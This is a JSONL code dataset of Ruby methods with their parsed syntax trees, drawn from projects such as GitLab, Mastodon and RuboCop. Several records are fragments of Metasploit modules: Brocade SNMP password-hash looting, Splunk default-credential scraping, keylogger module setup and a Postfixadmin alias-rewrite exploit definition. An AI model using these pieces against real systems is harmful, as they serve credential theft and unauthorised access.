ype\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@users\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@hashes\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_name\",{\"type\":\"str\",\"children\":[\"brocade.hashes\"]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_type\",{\"type\":\"str\",\"children\":[\"text/plain\"]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_filename\",{\"type\":\"str\",\"children\":[\"brocade_hashes.txt\"]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_desc\",{\"type\":\"str\",\"children\":[\"Brocade username and password hashes\"]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"lvar\",\"children\":[\"loot_name\"]},{\"type\":\"lvar\",\"children\":[\"loot_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]},{\"type\":\"lvar\",\"children\":[\"credinfo\"]},{\"type\":\"lvar\",\"children\":[\"loot_filename\"]},{\"type\":\"lvar\",\"children\":[\"loot_desc\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Credentials saved: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"SNMP\"]},\"UnsupportedVersion\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"SNMP\"]},\"RequestTimeout\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Interrupt\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"gvar\",\"children\":[\"$ERROR_INFO\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\" - Error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect_snmp\"]}]}]},null]}]}","id":"df13053e-9f0c-40c7-be69-2510b6d95b05"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/serializers/export_serializer.rb","start_line":47,"raw_source":"def battery_status(point)\n    case point.battery_status\n    when 'unplugged' then 'u'\n    when 'charging' then 'c'\n    when 'full' then 'f'\n    else 'unknown'\n    end\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"battery_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"point\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"point\"]},\"battery_status\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"unplugged\"]},{\"type\":\"str\",\"children\":[\"u\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"charging\"]},{\"type\":\"str\",\"children\":[\"c\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"full\"]},{\"type\":\"str\",\"children\":[\"f\"]}]},{\"type\":\"str\",\"children\":[\"unknown\"]}]}]}","id":"55912fbe-29a0-4fa2-a6f9-7092f8c42a66"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/terraform_module/metadata/parse_hcl_file_service.rb","start_line":99,"raw_source":"def clean_block_data\n          self.block_data = block_data.compact_blank.each_value do |v|\n            v.gsub!(QUOTED_STRING_BOUNDARIES_REGEX, '')&.strip!\n          end\n        end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"clean_block_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"block_data=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_data\"]},\"compact_blank\"]},\"each_value\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"gsub!\",{\"type\":\"const\",\"children\":[null,\"QUOTED_STRING_BOUNDARIES_REGEX\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"strip!\"]}]}]}]}","id":"8b74340f-d9ce-4ada-aaaf-693dbb252f37"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/url_helper.rb","start_line":50,"raw_source":"def self.encode_and_parse(url)\n    URI.parse(Addressable::URI.encode(url))\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"encode_and_parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"encode\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]}]}","id":"c3f4439f-cd16-4951-ad72-8659c960220b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/delivery_policy.rb","start_line":12,"raw_source":"def stop_delivery?\n    role.can?(:manage_federation)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"stop_delivery?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"manage_federation\"]}]}]}","id":"638a4475-6e5f-432f-9b34-6773bed6cc2f"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/space_inside_array_literal_brackets.rb","start_line":110,"raw_source":"def autocorrect(corrector, node)\n          tokens, left, right = array_brackets(node)\n\n          if empty_brackets?(left, right, tokens: tokens)\n            SpaceCorrector.empty_corrections(processed_source, corrector, empty_config, left, right)\n          elsif style == :no_space\n            SpaceCorrector.remove_space(processed_source, corrector, left, right)\n          elsif style == :space\n            SpaceCorrector.add_space(processed_source, corrector, left, right)\n          else\n            compact_corrections(corrector, node, left, right)\n          end\n        end","complexity_score":24.7,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tokens\"]},{\"type\":\"lvasgn\",\"children\":[\"left\"]},{\"type\":\"lvasgn\",\"children\":[\"right\"]}]},{\"type\":\"send\",\"children\":[null,\"array_brackets\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"empty_brackets?\",{\"type\":\"lvar\",\"children\":[\"left\"]},{\"type\":\"lvar\",\"children\":[\"right\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tokens\"]},{\"type\":\"lvar\",\"children\":[\"tokens\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SpaceCorrector\"]},\"empty_corrections\",{\"type\":\"send\",\"children\":[null,\"processed_source\"]},{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"send\",\"children\":[null,\"empty_config\"]},{\"type\":\"lvar\",\"children\":[\"left\"]},{\"type\":\"lvar\",\"children\":[\"right\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"no_space\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SpaceCorrector\"]},\"remove_space\",{\"type\":\"send\",\"children\":[null,\"processed_source\"]},{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"left\"]},{\"type\":\"lvar\",\"children\":[\"right\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"style\"]},\"==\",{\"type\":\"sym\",\"children\":[\"space\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SpaceCorrector\"]},\"add_space\",{\"type\":\"send\",\"children\":[null,\"processed_source\"]},{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"left\"]},{\"type\":\"lvar\",\"children\":[\"right\"]}]},{\"type\":\"send\",\"children\":[null,\"compact_corrections\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"left\"]},{\"type\":\"lvar\",\"children\":[\"right\"]}]}]}]}]}]}]}","id":"76d1484f-03a0-4079-a68e-ec74e3b34a8e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/multipart_helpers.rb","start_line":81,"raw_source":"def get_params(env)\n    req = ActionDispatch::Request.new(env)\n    req.GET.merge(req.POST)\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"req\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Request\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"GET\"]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"POST\"]}]}]}]}","id":"b164dff9-03f9-44f2-bf3d-85ccc945396f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/splunk/login.rb","start_line":64,"raw_source":"def splunk_default_creds\n    p = %r{Splunk's default credentials are </p><p>username: <span>(.+)</span><br />password: <span>(.+)</span>}\n    res = send_request_raw({ 'uri' => target_uri.path })\n    user, pass = res.body.scan(p).flatten\n    return [user, pass] if user && pass\n  end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"splunk_default_creds\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Splunk's default credentials are </p><p>username: <span>(.+)</span><br />password: <span>(.+)</span>\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\"]},{\"type\":\"lvasgn\",\"children\":[\"pass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"scan\",{\"type\":\"lvar\",\"children\":[\"p\"]}]},\"flatten\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]},null]}]}]}","id":"3464e32f-5b08-438b-a163-2892cea041a6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/http/pfadmin_set_protected_alias.rb","start_line":9,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Postfixadmin Protected Alias Deletion Vulnerability',\n        'Description' => %q{\n          Postfixadmin installations between 2.91 and 3.0.1 do not check if an\n          admin is allowed to delete protected aliases. This vulnerability can be\n          used to redirect protected aliases to an other mail address. Eg. rewrite\n          the postmaster@domain alias.\n        },\n        'Author' => [ 'Jan-Frederik Rieckers' ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2017-5930'],\n          ['URL', 'https://github.com/postfixadmin/postfixadmin/pull/23'],\n          ['BID', '96142'],\n        ],\n        'Privileged' => true,\n        'Platform' => ['php'],\n        'Arch' => ARCH_PHP,\n        'DisclosureDate' => '2017-02-03',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],\n          'Reliability' => []\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The base path to the postfixadmin installation', '/']),\n        OptString.new('USERNAME', [true, 'The Postfixadmin username to authenticate with']),\n        OptString.new('PASSWORD', [true, 'The Postfixadmin password to authenticate with']),\n        OptString.new('TARGET_ALIAS', [true, 'The alias which should be rewritten']),\n        OptString.new('NEW_GOTO', [true, 'The new redirection target of the alias'])\n      ]\n    )\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Postfixadmin Protected Alias Deletion Vulnerability\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Postfixadmin installations between 2.91 and 3.0.1 do not check if an\\n\"]},{\"type\":\"str\",\"children\":[\"          admin is allowed to delete protected aliases. This vulnerability can be\\n\"]},{\"type\":\"str\",\"children\":[\"          used to redirect protected aliases to an other mail address. Eg. rewrite\\n\"]},{\"type\":\"str\",\"children\":[\"          the postmaster@domain alias.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Jan-Frederik Rieckers\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2017-5930\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/postfixadmin/postfixadmin/pull/23\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"96142\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2017-02-03\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"CONFIG_CHANGES\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path to the postfixadmin installation\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The Postfixadmin username to authenticate with\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The Postfixadmin password to authenticate with\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGET_ALIAS\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The alias which should be rewritten\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"NEW_GOTO\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The new redirection target of the alias\"]}]}]}]}]}]}]}","id":"b76964a9-794d-4f62-be6e-3aa018d9de39"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/capture/keylog_recorder.rb","start_line":101,"raw_source":"def setup\n    @logfile = nil\n    @timed_out = false\n    @timed_out_age = nil # Session age when it timed out\n    @interval = datastore['INTERVAL'].to_i\n    @wait = datastore['TimeOutAction'] == 'wait'\n\n    if @interval < 1\n      print_error('INTERVAL value out of bounds. Setting to 5.')\n      @interval = 5\n    end\n  end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@logfile\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@timed_out\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@timed_out_age\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@interval\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"INTERVAL\"]}]},\"to_i\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@wait\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TimeOutAction\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"wait\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@interval\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"INTERVAL value out of bounds. Setting to 5.\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@interval\",{\"type\":\"int\",\"children\":[5]}]}]},null]}]}]}","id":"99c0b04f-83ad-4c60-a591-0ce27894dcb8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/brightstor/discovery_udp.rb","start_line":73,"raw_source":"def check\n    # The first request should have no reply\n    csock = Rex::Socket::Tcp.create(\n      'PeerHost' => datastore['RHOST'],\n      'PeerPort' => 41523,\n      'Context' =>\n        {\n          'Msf' => framework,\n          'MsfExploit' => self,\n        }\n    )\n\n    csock.put('META')\n    x = csock.get_once(-1, 3)\n    csock.close\n\n    # The second request should be replied with the host name\n    csock = Rex::Socket::Tcp.create(\n      'PeerHost' => datastore['RHOST'],\n      'PeerPort' => 41523,\n      'Context' =>\n        {\n          'Msf' => framework,\n          'MsfExploit' => self,\n        }\n    )\n\n    csock.put('hMETA')\n    y = csock.get_once(-1, 3)\n    csock.close\n\n    if (y and not x)\n      return Exploit::CheckCode::Detected\n    end\n\n    return Exploit::CheckCode::Safe\n  end","complexity_score":23.9,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"csock\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"Tcp\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PeerHost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PeerPort\"]},{\"type\":\"int\",\"children\":[41523]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Context\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Msf\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MsfExploit\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csock\"]},\"put\",{\"type\":\"str\",\"children\":[\"META\"]}]},{\"type\":\"lvasgn\",\"children\":[\"x\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csock\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csock\"]},\"close\"]},{\"type\":\"lvasgn\",\"children\":[\"csock\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"Tcp\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PeerHost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PeerPort\"]},{\"type\":\"int\",\"children\":[41523]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Context\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Msf\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MsfExploit\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csock\"]},\"put\",{\"type\":\"str\",\"children\":[\"hMETA\"]}]},{\"type\":\"lvasgn\",\"children\":[\"y\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csock\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csock\"]},\"close\"]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"y\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"!\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"a3835c8a-8757-4ae0-9ecc-b844bd140f8e"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/queries/schemas/query_schema_representer.rb","start_line":278,"raw_source":"def filter_instance_schemas_href\n            if represented.project\n              api_v3_paths.query_project_filter_instance_schemas(represented.project.id)\n            else\n              api_v3_paths.query_filter_instance_schemas\n            end\n          end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_instance_schemas_href\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_v3_paths\"]},\"query_project_filter_instance_schemas\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"represented\"]},\"project\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_v3_paths\"]},\"query_filter_instance_schemas\"]}]}]}","id":"14982ae1-ee80-4471-b39b-124b56d8cd36"}
